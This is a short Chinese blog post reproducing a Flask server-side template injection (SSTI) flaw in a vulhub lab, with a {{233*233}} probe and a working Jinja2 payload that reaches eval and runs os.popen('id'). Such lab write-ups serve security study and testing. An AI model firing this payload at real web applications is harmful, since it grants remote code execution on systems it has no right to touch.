flask-ssti 漏洞复现

水下月 2021-02-20
Web安全 发布于 2021-02-20 15:14:59 阅读 79 评论 0

一 服务端模板注入漏洞

服务器模板注入 (SSTI) 是一种利用公共 Web 框架的服务器端模板作为攻击媒介的攻击方式,该攻击利用了嵌入模板的用户输入方式的弱点。SSTI 攻击可以用来找出 Web 应用程序的内容结构。

二、利用搭的 vulhub 靶机漏洞复现

1,在自己主机上安装 vulhub, 然后进入 flask 里的 ssti
docker-compose up -d 开启漏洞环境
2,然后在浏览器上访问ip:8000
.

3,访问 [http://your-ip/?name={{233*233}}
得到 54289,说明 SSTI 漏洞存在。
.

4,获取 eval 函数并执行任意 python 代码的 POC: // 获取 os

   {% for c in [].__class__.__base__.__subclasses__() %}
     {% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

5、最后放到浏览器里注意要 url 编码,得到执行结果。
.

本作品采用《CC 协议》,转载必须注明作者和本文链接
讨论数量: 0
(= ̄ω ̄=)··· 暂无内容!
请勿发布不友善或者负能量的内容。与人为善,比聪明更重要!